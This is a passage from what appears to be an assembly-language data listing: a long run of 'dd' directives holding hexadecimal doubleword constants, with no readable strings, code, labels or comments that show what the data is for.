7D4B6A30h, 23AE5421h dd 500C2B06h, 1DA3240h, 64BBE790h, 0C44E04A5h, 0FE004527h dd 0F398A413h, 9B1667h, 1D909519h, 0DA5EA217h, 0FCA8240Ch dd 21B54CDh, 0FD82F6EFh, 60C84D23h, 491DB607h, 5B833496h dd 8040ACC3h, 0A1DED6CFh, 5F603FDCh, 0BE2807B7h, 0E0C1E88Bh dd 1CF4D57Bh, 56029A00h, 921342EAh, 73760E25h, 59A28B30h dd 8868C5CDh, 0C09F0F45h, 673608EEh, 402B0853h, 0F25CAAD8h dd 0C0CC89C0h, 3A88E06Eh, 0C776725h, 2712CB21h, 0F800E220h dd 0D83BC20h, 3E068Bh, 80C1B0C8h, 0B7B9710Fh, 393AE2E6h dd 0AB548041h, 12C6D3D6h, 4F5201DAh, 7D654580h, 2EF4408h dd 60754C4Ch, 0B7DA0468h, 0C1914706h, 3C608D1Ah, 5A958B19h dd 6904649Fh, 7D73C2h, 1FCF35B1h, 2885309Bh, 48F23C20h dd 0DFC9B40Eh, 0C411A0DBh, 0B3D02BBh, 0AE0468F5h, 80351287h dd 1B8D82FBh, 81BC2900h, 6F1EE33Ah, 7C21F87Dh, 2040051h dd 72EB3E8Ch, 0F4005385h, 0C223A03Ah, 50934Ch, 349C557Bh dd 1602AECBh, 4E2BB200h, 3957FC4Fh, 0D594001Fh, 31FD0121h dd 7F0542C7h, 820EC479h, 6D1016C7h, 8A40AAh, 0CE7269C3h dd 134DC142h, 0BCB0A00h, 0B191D289h, 4E0500E2h, 9A553122h dd 6C2EDDFDh, 30035928h, 0B8F8C606h, 71CA17D1h, 0E897162h dd 5DC9B2EAh, 4E349F80h, 27FE1277h, 45FCCF00h, 85C272B5h dd 3DF8A151h, 0C432DBD9h, 40FA041h, 241C2B81h, 89CBF0F0h dd 0C2A86A50h, 0BB36BF01h, 0A3AEC7D7h, 52BDFECh, 3AB7D8CAh dd 29ED18CBh, 9883DE3h, 0D92E88A5h, 8963E488h, 11284067h dd 0A2816B91h, 5644AC08h, 437F88EBh, 82AAB81Dh, 4422B000h dd 310BE69h, 0BCD709Eh, 2000718Fh, 0F7A1D93Fh, 3FF5318Bh dd 7F09C3h, 8C085D51h, 0A00D0FF3h, 54987912h, 77F907EAh dd 0D37A6549h, 6DA83684h, 4D00BFA6h, 33677101h, 0E0B8ACA7h dd 35180095h, 1F409C44h, 661E131Dh, 580009D4h, 0BAD68896h dd 85C30354h, 0DB71458Dh, 0CA2C1498h, 6F246100h, 4AECD656h dd 0C11F1E22h, 140F8087h, 70CBF4F1h, 2D86A000h, 0F56EC63Dh dd 575B1503h, 0E201E49Ah, 0B9160F21h, 0E89C6027h, 8777F7E8h dd 74CEED00h, 975EFAFBh dd 0E679D9h, 5A677752h, 88C74CD2h, 1600A476h, 602BFC0Dh dd 2658ADB6h, 0E8509E0h, 0BA60BCF2h, 324E06F3h, 3B01477Dh dd 0F7A4666Ah, 0C24E937h, 508510ADh, 92C51C27h, 0C65ADD80h dd 0C080B3h, 0A7F1BB48h, 0A53D2078h, 0D079050Ah, 230B901Bh dd 0B0B007A8h, 97C7080h, 0ACF35846h, 0D2AE7A0Eh, 37A38F40h dd 7301E0F8h, 3B672A7Eh, 43E4781Fh, 983262C4h, 5048187Ch dd 965C1CA6h, 0F3B5009Eh, 0C5989F6Dh, 0B40E00EDh, 0B3CC0AC1h dd 19003C61h, 97515B96h, 7DCC076h, 4B321F7Ah, 0F048EDF4h dd 3F0003FEh, 41A16074h, 0C58F2Fh, 6A5A6D65h, 0CEBD872h dd 0F914B25h, 0D9AE3DCh, 1C67F197h, 0E1493F4h, 0EBE2CF94h dd 0C5D52880h, 0BD2C5977h, 43402840h, 113B0F7h, 0AC52FB69h dd 0F87A7370h, 3500D44Eh, 0A199AE16h, 0B8B4B1B8h, 97E4006Fh dd 0F0A430CFh, 0BD006B59h, 5F8F524Fh, 1C93E9F6h, 809E8C29h dd 27A8C3B1h, 5A0039FAh, 32F8EAB9h, 0CFAB0448h, 0D7E0F518h dd 0A437217Bh, 65138CE6h, 2000364Ah, 19C3E6Eh, 0C9BD1342h dd 0D4FF0148h, 51D23C7Ah, 8015C28Ch, 0CE610472h, 9824B0h dd 4775FC52h, 96B18368h, 0BE2FC409h, 0C63815Ch, 980E75Dh dd 0E2130BC0h, 0DFB807EDh, 0D41E6E77h, 8A0E7993h, 4C1041E0h dd 0BC9435Fh, 0FA65A7D4h, 138D0AC8h, 19BACC0h, 90569899h dd 4F44B4Dh, 75F434DEh, 0DB53C280h, 0F0124BE6h, 52601C28h dd 0DF954910h, 0A1FA0122h, 23021B82h, 77030D8h, 0B5C9349h dd 80510FC3h, 66D44BF1h, 3C3303E4h, 0BAD5ED13h, 927C2EE0h dd 6AB72D1Ch, 971C2240h, 0E02ABB0h, 33F2F149h, 40CCF3C7h dd 6C7F5D8Fh, 7E45E000h, 0BEBF266Bh, 0FCDD00A6h, 73E81FEh dd 140E5719h, 874D9E69h, 0FB809F02h, 0E16E0Ch, 0F27522B9h dd 123092B0h, 0E2C1F500h, 32B79788h, 0EBB80090h, 40CB0879h dd 6600DE80h, 0FE56683Eh, 0F47655h, 0BF8B4F64h, 0DE753CD3h dd 53C50100h, 2EFC9C21h, 3F6BE243h, 68BE9A52h, 6D401C80h dd 0B4FE9B59h, 0CD4CD00h, 9080FD7h, 43260050h, 7C3DBEB9h dd 9C0006A8h, 93337514h, 7186C5F2h, 0AC1200B6h, 493A5329h dd 0E00A1F0h, 0B352E208h, 2EF9E548h, 959BDEh, 4605D8BAh dd 0E3001593h, 4F5E0F55h, 0E467D9C6h, 91130752h, 30A48123h dd 0CF0F0AFDh, 632CE300h, 268B0E36h, 0E9CD0071h, 0C27F8194h dd 1EE8B731h, 7900617Eh, 4F3C74AFh, 26CA96h, 63A7F429h dd 0AA71E714h, 9C1058h, 504002A8h, 668BA6h, 0FE138F36h dd 0EDBBEFDBh, 0FF002479h, 77542F09h, 394EC951h, 7E00F22Dh dd 0BE79B72Bh, 0BA01D884h, 2F9E281Ch, 0AE204389h, 9ACB3B81h dd 8F35E780h, 0A2CC80BFh, 0AE002079h, 74752FD6h, 0E11E92h dd 0EC375106h, 0D9329BD8h, 2E4B0500h, 43831413h, 6CE30069h dd 0B6B5D797h, 0BF005E84h, 0CBD8C98Dh, 0CB8A4799h, 83D5F390h dd 0A8FF2CD6h, 5C9593h, 0F6FD83E2h, 53A60EDEh, 7E1A7700h dd 0EA677FD8h, 1E6800DAh, 0B198BA12h, 0B800341Ch, 0AC0DA2B6h dd 74BF1h, 6D9F7C3Ah, 70BB5A74h, 0B2C34507h, 2F6065ABh dd 385E35EBh, 0F06C83h, 634068E0h, 0FFFC3017h, 0C69DD900h dd 0E1C809F0h, 1F723Ch, 9C174CDBh, 0A831B529h, 0BB086F04h dd 6D8075ABh, 1C0DF752h, 4F67C484h, 6445A8E0h, 69EA8081h dd 1B83FEEh, 400012FEh, 2901D5CDh, 3133423h, 142E9641h dd 47913042h, 96A06E38h, 60F807AEh, 0D0635805h, 853AA49Bh dd 0D496C8A1h, 0E839E668h, 1C3F07F6h, 220065FAh, 0E5BCB9Eh dd 726C5348h, 0D65D8580h, 0E6003941h, 0E53B94A6h, 0FD7AB2h dd 2FB9199Ah, 7011EBEDh, 0A2773Eh, 0F70791ACh, 242FFECh dd 507BB896h, 3C0EDFEh, 1901DB74h, 0F39C9245h, 0D7D44809h dd 4ECF1h, 97316376h, 6044B535h, 0E8000D7Ah, 0B407F087h dd 63EF71h, 8FE9F75h, 9D6D3A25h, 416B5607h, 5A508A3Ch dd 491D76h, 35A2A4C2h, 24DB1EE7h, 7A6AEA00h, 8D8AF421h dd 17E2058Fh, 0EC01E9B7h, 0D03B0016h, 98EA429Bh, 0C641C037h dd 36F42470h, 4F687E0Bh, 0B159803Ch, 0CA77E8h, 0A5DBCFBDh dd 97C7EFA6h, 7EAC705Eh, 0E91BE00Ch, 3903D769h, 0F1A24FD0h dd 497C089h, 0D34905D2h, 0C0B0DC4Bh, 0B6BA3B3Ah, 0A5908E03h dd 0E017855Bh, 6EE926h, 38F59CAh, 0EB35C239h, 551FCD0Ch dd 1D93B084h, 0DE30887Eh, 1D4D12D4h, 5034C098h, 69075AA8h dd 37024000h, 3B1CD817h, 1DE6000Fh, 0F2430399h, 0C015FDAh dd 0FC7DBBE4h, 6078E0h, 12AFAF7h, 242B34BDh, 0DCD2BE14h dd 0BC2C6C30h, 4F0059ACh, 563CBA69h, 3E9300CBh, 9A886C1h dd 0DCE47227h, 0DD00757Eh, 0A9128AD9h, 1C7C59DFh, 40A389B5h dd 835F1D43h, 6F000D9Ch, 9141185Eh, 1FC825h, 4CB051D9h dd 0B7344A70h, 0A55B6D00h, 89332B40h, 0D64600B6h, 2C6536D9h dd 9B01C01Bh, 1642A2D5h, 56605720h, 98A00DFh, 0CB96FF01h dd 0CD003F7Bh, 13FE8DC5h, 18E7FDCAh, 6615CF11h, 1C00E118h dd 0B28FFCCDh, 0B18767h, 560AD506h, 8D5D36B4h, 4DD36500h dd 0C8BAA237h, 27E8E3A4h, 39B10042h, 0D2C1D49Ah, 841DA51Ch dd 9DC03DA1h, 0EFC03E4Fh, 425B00CDh, 38DD80A2h, 0D1D153Fh dd 7F8056E9h, 0CB6417Ah, 0D7740050h, 2D528967h, 0AC00D981h dd 92C9E80Fh, 0A02AB68Eh, 0C09FE7C0h, 30785920h, 0C900C55Ah dd 80ABAB3h, 1D4E1394h, 0C37DA37Fh, 6A3D8610h, 4F6B5100h dd 0E69151B5h, 0A2C207C4h, 56E963F9h, 440041A5h, 83B42018h dd 791112h, 0E1890E5Ch, 2F328751h, 703E13E2h, 2BB80EC2h dd 109AA73Bh, 39E061DCh, 7A7AC64Dh, 9D54044Bh, 0C0C14C0Fh dd 0DF39C296h, 0A85539h, 0BB30DB4Dh, 54C00Ah, 59734FEBh dd 32BE8847h, 33F318C2h, 86F1602Fh, 7DA40061h, 85265F8Bh dd 70057DCh, 6DE99E3Eh, 1FA91175h, 43D67BA2h, 9B45861Dh dd 3E6353F0h, 0CD6A7400h, 5A735218h, 9F670079h, 6C5047D0h dd 5E07EDCAh, 0E373AF3h, 6E886960h, 787723h, 0E5C6E612h dd 180FAD43h, 0BDEAB800h, 0C1513825h, 1EC4E636h, 0BE33A0C0h dd 0CD80F0BAh, 445CAFF3h, 420F3E6Dh, 0E0C0DB92h, 5E577F1Eh dd 292D00E0h, 9043B5EEh, 0F2B8A2AEh, 55B83C18h, 0E0DE5B09h dd 18C7E80Eh, 1863BFD9h, 0CF1EEBDDh, 6E00747Ch, 462F35Ch dd 5AB70542h, 0C00120C7h, 9ECA53BEh, 775839h, 0B3888A89h dd 9F26DB75h, 5A3BA2E0h, 0F8C40B00h, 0D2B2C0FAh, 666900AEh dd 2B3954C3h, 0B80082FBh, 0D6BE7FF0h, 0CB452Dh, 0F85158Fh dd 999BEF2Fh, 6A010C00h, 736693B0h, 1F687FC7h, 0E02CD97h dd 0AFA00DEDh, 7FBB2EB1h, 80EF213Ch, 74B5C1B4h, 0ECA9208h dd 0CBD37525h, 9838E80h, 95E823D7h, 6C15811Fh, 0D5C82041h dd 70C8F4A6h, 8F1B1EDEh, 990600D7h, 0A9FCC541h, 7928831Fh dd 0E3D3BD00h, 3F1332F3h, 2C80190Ah, 0F483ABF6h, 1A035A7Eh dd 0FF23D573h, 0ED11902Bh, 1CE43F0Bh, 67190487h, 3DDC0018h dd 4DE23266h, 0CEF6B0F2h, 6209F100h, 73231AE9h, 0EBCD00DAh dd 0DFF91F0Bh, 0DD3A6F94h, 85C23E48h, 69E63A11h, 0C091AB00h dd 0BD751E2h, 0BD5C04C9h, 0B90F9200h, 2503F75Ah, 73A31A1Ch dd 775FB0BCh, 796C30DCh, 0EB7422A0h, 5400CCF8h, 17731626h dd 3559071h, 9181868Ah, 0C0C0FDD3h, 0F100AA6Ah, 570430FCh dd 0F758D1h, 0DEBAFFC3h, 5F2EAE93h, 67EBB301h, 9C3CD74Ch dd 0B06E98FFh, 0E8B902C8h dd 0F5876DD9h, 6B40C8CAh, 0D3E69AEAh, 0B2CD6600h, 0DBF038CAh dd 0FF48BAh, 57688D00h, 0F5B9E5BCh, 3EDFB83Dh, 9EC482CFh dd 4012DEFCh, 545AD3h, 13BC46DDh, 0C594CAECh, 0BDD55E00h dd 60B9BA4Ah, 0F26901C2h, 5F54ED8Bh, 0C189705Bh, 0BDCDB602h dd 60620193h, 1E0D326h, 155BE802h, 20AF3C6Bh, 0C6023624h dd 2D0D2AA8h, 0F24C7032h, 1FA700DEh, 0D3B58B5Dh, 760139E4h dd 62F18390h, 19709596h, 0C5583AD4h, 841481D8h, 0E600C8ACh dd 0A34D60F3h, 6C000ED3h, 0B6AF6D15h, 342BAAh, 3E5A67D4h dd 0DD7FA6B5h, 9492C107h, 17134493h, 0BAC0DD55h, 721DA7Bh dd 6C58D247h, 765E201Ah, 7C1DE1BEh, 0A9048CB9h, 0B88085C4h dd 6E816Fh, 0C7B42A0Dh, 93765B29h, 0E03ED400h, 9AE9A1B0h dd 0D2F00071h, 65FBB41h, 0D7670FDh, 0AA001098h, 6CFB73A1h dd 0D1414Eh, 7AA72ACAh, 126E5D6h, 1871213Bh, 0A548CDC2h dd 0A8900022h, 0D2584D40h, 0A7A089EAh, 4600EE2Ch, 0B34B0BA0h dd 0F35388h, 73CF6715h, 79441A37h, 339B0800h, 0C904D091h dd 428C00A2h, 0FD07F22Ah, 91C036FBh, 69F7665h, 73C6001Fh dd 241DCC16h, 513A9722h, 0E57280D0h, 5523E0E9h, 253B266Ah dd 0D26500F7h, 0FE49EA3Eh, 3A099F00h, 0B323D8ECh, 0DB4C0035h dd 69936429h, 63FC6ABCh, 0FC8A3000h, 0B501B6Dh, 5A4107CCh dd 4715457Eh, 0CF44B0B7h, 7000C276h, 0B50DA3BDh, 1E4369ABh dd 403423BFh, 8DDC37FBh, 0CF7AFA76h, 50BC1800h, 52B920C3h dd 0BBEEDEh, 46A844EEh, 6DD597CEh, 244C691Dh, 0C3679300h dd 0BD7F2Fh, 0AEF74D84h, 0D93AC1B6h, 663F6909h, 0D2B40092h dd 0A57FFCh, 0BFC22FE8h, 0A3B5C7EAh, 0BD1FE67Eh, 5400E5A2h dd 65A13E0Eh, 0EE9800C9h, 0F9A02B97h, 997379EFh, 0A9D39007h dd 689086FBh, 0B66CB4h, 5C8AF56Dh, 642A8376h, 1ED21F00h dd 0EEC3A7C8h, 80D34861h, 2D6AA40h, 55906DBh, 14488D3Ch dd 0FAF21A12h, 47E1E1Eh, 0E7DBC600h, 3E2A5Eh, 0DABF8336h dd 31802CFEh, 5A43DF01h, 7496A504h, 2EF430D9h, 0D6DE009Ch dd 1D19E546h, 77246D05h, 0C000C4B2h, 0D31B4BEBh, 0C9920007h dd 223EBF73h, 8C90567Ch, 7402BE1Fh, 12E6C240h, 3D40D86Eh dd 759614F4h, 87C91F54h, 0D2D3D27Eh, 9861D7BAh, 7F868051h dd 0CB5ED63Eh, 31A003D1h, 45DBECFh, 45A5A8C0h, 6DC22200h dd 93D7757Ch, 0EEFD0088h, 0A9EFAAF7h, 3300D5A1h, 7891AB95h dd 0E12DF74h, 2C03636Ch, 6E1892A0h, 1C070C71h, 0BAD3C6Fh dd 0FA1A7FC0h, 267258BCh, 4B0FC0Eh, 21C84360h, 6B001C85h dd 9C0CA37Eh, 7B7B6322h, 0EAFA00FFh, 6897B636h, 14B09DA5h dd 21DDB212h, 0E1EDB604h, 0F0DA9083h, 0A71C9Ah, 0D6752B8Dh dd 7DE69983h, 710E7206h, 3D20ABBDh, 4480D8F8h, 0B959D0E5h dd 0DC00391Ah, 2EC1EA4Bh, 53CF099h, 0D6502283h, 0C7E88757h dd 0C801E3C2h, 0AD9D09B8h, 4E217100h, 66B6881Ah, 5AB809E9h dd 6A00D034h, 6C2C57BFh, 218B549h, 771B0729h, 0D6586916h dd 93DE424h, 1001D227h, 0DF15ACA1h, 0D6BCC844h, 98F52300h dd 0E733E252h, 34B0392h, 7DB5E15h, 41C5AD88h, 0A7A83D00h dd 0EFAEFDFCh, 99781E83h, 0B3B6029Ah, 48E052C3h, 5B16C935h dd 0A7001E89h, 0C1706E7h, 0BE7C4Ch, 32368B45h, 28806219h dd 0E49B8701h, 976D007h, 0BE95C8h, 56D64B82h, 79CA4EC9h dd 0CBDA5000h, 8FBD55EBh, 0F26D008Eh, 408969A7h, 8B03A8CCh dd 92AB61A0h, 0E8698C4h, 7C2B03F8h, 525AF34Ch, 0A1A7B180h dd 3024EF00h, 151A472Eh, 801B159Fh, 363B8C49h, 0F8B2A582h dd 44C82795h, 7700DDCCh, 0BFC7C1D7h, 0CB37CAh, 32CE3CB1h dd 5575A460h, 54082213h, 94F38C00h, 1F4B11h, 9196E28Ah dd 24460682h, 0FCC04E00h, 0ADE53F55h, 0D6EE0004h, 0CE05528Fh dd 0AF00D5B9h, 326E7267h, 481DCD91h, 0C0496619h, 0E4455300h dd 37936F98h, 0E9F0831Eh, 0C01AA20Fh, 7EAB2380h, 0B080ED97h dd 0E0129A13h, 1A07A32Ch, 18A21CEAh, 6A2F7641h, 2E064028h dd 61266162h, 673FC90Eh, 638780DCh, 0FA1D5F8h, 54FD9659h dd 20E51387h, 73DB2DF7h, 27D7C400h, 0FAB19119h, 0CCED005Fh dd 0E466E2AFh, 0FE00DF90h, 0E34B2F9Ah, 68AC7F6Dh, 505439ABh dd 6842C42h, 1BA2D4B8h, 99DD6062h, 88459900h, 0ECF316B0h dd 615E0034h, 17690393h, 0AD0335D2h, 7CC9C7A6h, 6779866h dd 6DA31F70h, 0AE2280A4h, 0E67B68ACh, 67BD3Ah, 5259C05Fh dd 82A097h, 8CED1B62h, 0A70BC7DAh, 110AF000h, 0BD36F2B0h dd 0E155059Bh, 0EEFEB4BAh, 0F3E9A980h, 3A7748h, 408E354Ah dd 4C3F43C8h, 72F8F900h, 0AE0601F5h, 641600C6h, 0D64108A3h dd 8700046Dh, 0B8CDA94Fh, 377B86CAh, 0F0E02F48h, 0C95E724Eh dd 102ED800h, 0CF334988h, 3BB400FCh, 866131D1h, 68FEB19Ch dd 39431B30h, 324ABA8h, 7B3923A0h, 19004460h, 6A171A53h dd 0B7E730h, 6241F6D4h, 95BAA472h, 283B3E24h, 0E97A4040h dd 0A7DF669h, 93299BD5h, 56FE8E24h, 6084840h, 2001D963h dd 1F1CCB81h, 0FCE062DAh, 0EEA8030Ah, 13913479h, 0E4E855D0h dd 0EC414916h, 4FBE9500h, 8F1719h, 4A570AFDh, 78267BC4h dd 998B6200h, 0C16FB85Bh, 6EFF1DB9h, 1A9D8FB1h, 2FF396E1h dd 86D8D741h, 270006C7h, 5F2C658Fh, 5011264h, 0F8468C5Eh dd 1F9C008Bh, 0C44105E4h, 13063500h, 0AFCBF701h, 779A0764h dd 0A0B6FEC6h, 3C39D372h, 2B38AC7Eh, 0FA5A0307h, 0C09DF6BBh dd 0D7D0Fh, 0F8E287B9h, 7901BD53h, 3EC81900h, 86976A69h dd 95F10773h, 1F294A49h, 2111A80h, 84166D89h, 0EC00030Ch dd 0A978CA55h, 1357C2Fh, 0D12EE212h, 5A39F63Fh, 1CF88A04h dd 605D0423h, 6C01B946h, 0FDE74400h, 0EE09B1ADh, 5D90009Dh dd 41DE3F63h, 0A41FC07Fh, 53C777AFh, 0BFB05C18h, 45DD3Bh dd 0CCDCA2F6h, 0BD01B837h, 2539EC00h, 540747E2h, 0C70E1803h dd 562670DFh, 0C4879E00h, 0B397CEC5h, 0ECB60024h, 0AE844530h dd 0CA0018B7h, 3FC5C7A2h, 29C83C6Ah, 0C22011FCh, 0DD303462h dd 0D9BD60F7h, 0DC4D7C54h, 92A1FB2Ch, 0D61FDB00h, 74E69E5Ch dd 30E978F2h, 0D470CFE5h, 5E078C52h, 0C7F560D3h, 19876E30h dd 0FDA11339h, 98C01188h, 30E8C030h, 0C578E18Ch, 4DCBB21Eh dd 2D18A428h, 0AC29AD2Ch, 3C400CEh, 551EC2ABh, 2D00C7BCh dd 2294248Eh, 6FA49013h, 8DA01045h, 0C74CF4B1h, 7F2A021Ch dd 18D91A0Ah, 5C00DC97h, 45FFC33Ch, 0F61CA011h, 0C636740Dh dd 589C8428h, 0C4825500h, 373921EFh, 124F8D0h, 44E72D10h dd 8023E429h, 0C47B7431h, 1E1A4836h, 85268558h, 0C3301C67h dd 60098F8Ch, 8F8D6B2Dh, 108AC0F5h, 3EDE3DC4h, 24003736h dd 0EC670D6Ch, 0CE140BD4h, 14C8F2Dh, 1DD15305h, 4DF9F476h dd 88A73C0h, 4CA7C444h, 2E4A6B1Fh, 8008643Ah, 852C8558h dd 0F6D0C7C4h, 6EF82137h, 0DB7E8400h, 0DFA1335Ah, 70B87F81h dd 8F78182Ah, 0B96E29D1h, 80CBEA00h, 89FD2251h, 96B100FFh dd 0CE2E5F49h, 0A4000B7Eh, 8B66A581h, 1C6E7717h, 1C1C2239h dd 4814CE1Fh, 8A00EE4Eh, 7B772A26h, 0FEBED200h, 0FBB1DD31h dd 0E6A8005Ch, 0B7F4F732h, 0EC174E62h, 1FE8094h, 74A27675h dd 802FE1A3h, 60421230h, 609F1F68h, 95BF10D4h, 0FB019B81h dd 0B515D17Eh, 30412618h, 2980284Bh, 3CBE5892h, 171BD399h dd 1E96A5ABh, 16BAF60h dd 2814DAD1h, 724D4EBh, 17403260h, 7C5C853Dh, 0BA220151h dd 838863CDh, 0FF08CC42h, 0D39B400h, 0F1536CEh, 683C1EA3h dd 0AB26C101h, 0DC90E07Ah, 38003764h, 59E581DCh, 6FA3023Eh dd 4FC02910h, 39F711D0h, 9ED33800h, 16BDDC19h, 0AA2211F5h dd 4241003Dh, 8FE32DC8h, 284D3D86h, 3ECDD800h, 9A9821Fh dd 1802351Eh, 2BE67D00h, 30D15938h, 0DC41134Ch, 17E80861h dd 0F000BC76h, 47D14FF7h, 7EAB683Fh, 0A5C58025h, 17306960h dd 46FF90h, 5738BDBCh, 0C989373Dh, 7850166Fh, 3842FAA0h dd 618034AEh, 44F7DC17h, 99904709h, 0C091F300h, 0A9FF25F6h dd 0C8F91B3Bh, 0DDB021CEh, 0F07848FAh, 39C011F4h, 0C25286C8h dd 85980394h, 23E0DA0Dh, 3A70F9F8h, 0F113FB00h, 0C06E361Fh dd 470C30D7h, 83C54F40h, 440BA01h, 6AA82329h, 2A68FF0h dd 0EF5EFC18h, 3C83F9C0h, 390023D8h, 0DE796729h, 0C4FFABE6h dd 21FEC328h, 3E130AD9h, 124287C0h, 370C53Ah, 55F1157Dh dd 9C10197h, 5686646Ch, 8708149h, 0BE66A16h, 0A0554086h dd 71F8E13Fh, 18085931h, 90C22B24h, 50C1F96Ch, 0F1DB40C3h dd 883C9048h, 0ED00E92Ah, 12017720h, 7F4DC7h, 6BC0405Ch dd 176C0B63h, 39FB3C30h, 98EAD7h, 1B0F71C3h, 4F5EE785h dd 19031800h, 0DF49884Ch, 0E71C3EDh, 0D2DB2BAFh, 0DABD16A0h dd 75487D03h, 908B8208h, 0C2DBAEDh, 0FAB69A41h, 86004FB0h dd 0FD0158C4h, 0A5DCF83Ah, 30E581E8h, 0F068E055h, 0D43B34A7h dd 0A8F92AC0h, 0E8C48300h, 0F839EB69h, 0CE5CA0DFh, 841C03Ah dd 0B1047362h, 0AADEB30Ah, 8A3EB01Eh, 0A4529E33h, 0B2E9C83h dd 0B963E845h, 4199005Ch, 0B6FD810Dh, 5D527318h, 8F5002B8h dd 902B2311h, 8C874064h, 4706DE10h, 6D602900h, 766A4638h dd 9FFC9338h, 410358A3h, 6F5487h, 7E6B09B1h, 0C7930ADEh dd 1EC15E18h, 2069C1h, 28D394EDh, 0B6CC5FEh, 33CFBF00h dd 6A398814h, 0DAE309Eh, 5A2E34A1h, 10853100h, 0BAD74C0Ch dd 1FEA778Ch, 0F233D39h, 0CCE0C6D1h, 0F9BCEE6Eh, 7F37E400h dd 969A4731h, 33D0CAFDh, 0C01E47C4h, 5E4E4B0Bh, 0CE31C500h dd 7B20F487h, 2CEC1D59h, 0D013CAE3h, 8417C4E4h, 52E440D4h dd 7E874A55h, 0EC71F400h, 4FFB8868h, 2B900FDEh, 17203B13h dd 0C6D40923h, 9C03D129h, 43B5DE07h, 0C9A600CFh, 0F4D6B7E9h dd 0F8774Ch, 270E9D41h, 661779E6h, 37654603h, 2A15405h dd 75640941h, 0A8A216DEh, 9446FE30h, 0C622AA74h, 0E79F31C4h dd 0F81CF008h, 1200F7C9h, 80CC4E1Eh, 9264390h, 48D8DAD0h dd 3309FD80h, 0DCA4A054h, 0F507058h, 86507A38h, 241943AEh dd 0A1141667h, 8D5585ACh, 0DCEC464Ah, 9DEE81FFh, 0B780D300h dd 0E4EC1626h, 4364009Bh, 0F727F183h, 30932D95h, 4F02DA88h dd 60C18943h, 36EBDF90h, 9CA8BAE6h, 110013C3h, 0E108FF1h dd 14AF9E4h, 0A656306Ah, 0E854BDE6h, 4C00CAC6h, 0C1CF860Ch dd 53E216h, 83664663h, 0C614DDC7h, 0B17A9207h, 2230CCDEh dd 0B819DF2Fh, 3AFC008Ah, 1F1CA1E5h, 16F0A40Eh, 0C3C88218h dd 79BCF08h, 0D814B2DEh, 60CC06A7h, 4E0052F8h, 9C285374h dd 1A16FA4h, 0C41B19D2h, 0CC82D370h, 4906F27Dh, 84A87C9Eh dd 16880098h, 1F5C5EB7h, 800173C9h, 76C6A66Fh, 79809BAEh dd 0DC2B2969h, 3D0095DFh, 0B94D6684h, 1B452EFh, 56F2834Eh dd 80A89B18h, 47C7FD31h, 6DA4232h, 4599046Eh, 0C107B815h dd 4024B67Eh, 0E069C516h, 56960E60h, 2785358Ch, 229843FEh dd 39008FC7h, 538B7A7h, 0EAA975h, 6544B8A3h, 8DD932C9h dd 20E8020Fh, 0F1F0461h, 23493FC1h, 680D718Ch, 0DE09DA51h dd 80F33913h, 4AA327D5h, 3D76002Bh, 3053426Fh, 0D97C654Fh dd 28443500h, 0A78DA01Ch, 9250306Bh, 3797E189h, 0A55464E4h dd 3A0099A0h, 2C4D79C3h, 348004h, 0F49BE207h, 7CB50587h dd 4061B61Eh, 9FF06C18h, 0B9703BA3h, 0ECD2043Ah, 2B00C422h dd 7265EF7Dh, 1FE9209h, 88E88E1Fh, 48941A19h, 33755CC8h dd 643A0300h, 4A3F764Dh, 591D00E2h, 97A5420Bh, 9D22B921h dd 65CF00A7h, 1EF0B014h, 51128478h, 1000A54Ch, 8313A0B8h dd 7ABB05FAh, 2222449Ah, 0A620919Ch, 29FA73h, 0E6C65C5Ah dd 0C4402D84h, 0DD0E563h, 0BA29608Fh, 0B2B33953h, 67121F1Ch dd 24A78A3Bh, 293DB048h, 0E48F8468h, 0C49E8091h, 0E6962EA2h dd 0A749CE7Fh, 12443092h, 28074BE8h, 67A178DBh, 80BBBCAAh dd 6229698h, 17C6A36h, 6C9290E8h, 893444DEh, 10CDA0A8h dd 0B15C20h, 0EE437E8Bh, 2B5735DDh, 4E746600h, 6E1F80ABh dd 0B7103F2Ch, 48938450h, 0A524A286h, 9AAA0300h, 7918B87Ch dd 6DA9730Dh, 150C0039h, 2271E86Fh, 0B9007FE1h, 0D9BB2818h dd 0D71CAFh, 9839B0EBh, 2A9759C1h, 4C522892h, 75187FCCh dd 0D111A29Dh, 46ED00F8h, 472B0C05h, 2D52966Eh, 27690CC4h dd 1C39FDh, 380513A1h, 0B06F7AB7h, 8C3BA612h, 90C48046h dd 79440EF9h, 69401642h, 9224C29Eh, 0F50B3B03h, 9860E245h dd 904382C4h, 0D0E03F78h, 279DA792h, 490C9034h, 5F39E2DAh dd 0CF1F81D8h, 0C0042481h, 13CB4ED4h, 3051ECADh, 1B1D0138h dd 0F18D1409h, 4AC01FCh, 5C322772h, 1C1A4705h, 0B880496h dd 4427489Fh, 46489CB9h, 0E8191444h, 1F1D0960h, 78A0CDFBh dd 78A3DAE5h, 50E1D892h, 0E77099D8h, 0C18F9602h, 6408A6BBh dd 489A264Ch, 0D8754444h, 74F00194h, 3C6523Eh, 0A673EC1Dh dd 637CE8FEh, 1C1413A4h, 83100020h, 0C670B85Dh, 198C60A8h dd 0B613689Bh, 3375FC00h, 77BC4Fh, 0CA75730h, 2D1FE102h dd 62F1039h, 6A6F93BBh, 0EC245378h, 5074E73Fh, 0F91780C0h dd 0FF001037h, 9F25C17Bh, 5D06DA14h, 0A7B3503Ah, 9A840688h dd 0E06A1F40h, 99FFF4h, 987F6F07h, 1CA56BE1h, 18C44CC6h dd 29A1AEE2h, 0B301A257h, 0EE42A9Bh, 18E4BDFFh, 7A4F0223h dd 0FA3660E1h, 9E5F18C0h, 0A70A8647h, 92CCD0FEh, 48D90693h dd 9098DDh, 52AB7200h, 1CEE4241h, 0EC4A5299h, 64301E20h dd 7C5C1120h, 907CEBh, 2A6ED2D4h, 2D528F09h, 0C8448CB0h dd 0EF94A1B8h, 3A7ABAF4h, 0D04967E3h, 5FA29100h, 19E20ED3h dd 5966AD00h, 30822551h, 0D4900B4h, 61E4FE85h, 581F3C98h dd 7F00F775h, 0EA222902h, 0C8B6088Ch, 420E1585h, 1FBFC0AFh dd 5B6B47h, 5ACCD7DAh, 0E47395FAh, 9740570Bh, 8A9C30CAh dd 0BE42319Fh, 246D0D91h, 31031CE0h, 40F77130h, 0A9B2B8DEh dd 4B73018Ah, 8EB9FD44h, 23A1ED21h, 54C83E80h, 0E0000AFCh dd 0BF66154Eh, 7FD7B9B2h, 4430BAFCh, 2EFEB07Bh, 80038972h dd 0C6256BA6h, 924100CBh, 0B7639788h, 2A008A51h, 0EA8FE8E9h dd 0EA168704h, 24EC004Bh, 1F48614Eh, 0A41A4027h, 0C0D0F5F8h dd 91FCAECAh, 